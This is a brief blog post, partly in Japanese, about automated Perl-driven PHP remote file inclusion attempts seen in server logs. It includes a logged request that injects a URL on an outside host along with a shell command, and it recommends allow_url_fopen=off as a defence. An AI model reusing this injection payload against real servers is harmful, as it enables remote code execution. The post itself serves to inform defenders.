For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.202.226.224.67 – – [08/Jan/2006:21:32:43 -0500] “GET / HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35” 202.226.224.67 – – [08/Jan/2006:21:32:44 -0500] “GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35”

Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。
スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。
